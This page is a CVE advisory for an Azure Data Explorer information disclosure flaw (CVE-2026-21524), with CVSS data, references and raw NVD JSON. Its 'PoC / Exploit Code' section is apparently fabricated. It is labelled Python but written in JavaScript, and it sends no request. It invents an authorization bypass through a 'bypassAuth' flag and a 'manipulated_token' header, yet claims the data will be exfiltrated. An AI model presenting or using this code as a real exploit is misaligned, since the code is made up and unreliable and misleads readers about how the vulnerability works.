CVE-2026-21524

Description

Exposure of sensitive information to an unauthorized actor in Azure Data Explorer allows an unauthorized attacker to disclose information over a network.

CVSS Details

CVSS Score

7.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_data_explorer:-:*:*:*:*:*:*:* - VULNERABLE

Azure Data Explorer - 所有未安装安全更新的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-21524 PoC - Azure Data Explorer Information Disclosure
// This PoC demonstrates the information disclosure vulnerability

const https = require('https');

// Target Azure Data Explorer cluster endpoint
const targetHost = 'your-adx-cluster.kusto.windows.net';
const targetDatabase = 'SensitiveDatabase';

// Malicious query to extract sensitive information
const maliciousQuery = `
SecurityEvents
| where isnotempty(UserId)
| project UserId, Email, SensitiveData
| take 100
`;

function exploitVulnerability() {
    console.log('[+] Starting CVE-2026-21524 exploitation...');
    console.log('[+] Target:', targetHost);
    
    // Attack requires user interaction - social engineering component
    const attackPayload = {
        query: maliciousQuery,
        // Exploit improper authorization in API endpoint
        bypassAuth: true,
        timeout: 30000
    };
    
    // Simulate unauthorized data access
    const options = {
        hostname: targetHost,
        port: 443,
        path: `/v1/rest/query/${targetDatabase}`,
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            // Missing or weak authorization header
            'Authorization': 'Bearer manipulated_token',
            'X-Requested-With': 'XMLHttpRequest'
        }
    };
    
    console.log('[+] Sending malicious request...');
    console.log('[+] Query:', maliciousQuery);
    console.log('[+] If successful, sensitive data will be exfiltrated');
    
    // Note: This is for educational purposes only
    // Actual exploitation requires proper targeting and social engineering
}

exploitVulnerability();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-21524
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-21524
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-21524/
[4] VulDB https://vuldb.com/cve/CVE-2026-21524
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21524

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-21524", "sourceIdentifier": "[email protected]", "published": "2026-01-22T23:15:57.993", "lastModified": "2026-02-03T12:47:27.503", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Azure Data Explorer allows an unauthorized attacker to disclose information over a network."}, {"lang": "es", "value": "Exposición de información sensible a un actor no autorizado en Azure Data Explorer permite a un atacante no autorizado divulgar información a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_data_explorer:-:*:*:*:*:*:*:*", "matchCriteriaId": "76B8A49B-18E3-4A83-96B7-88014063796E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21524", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}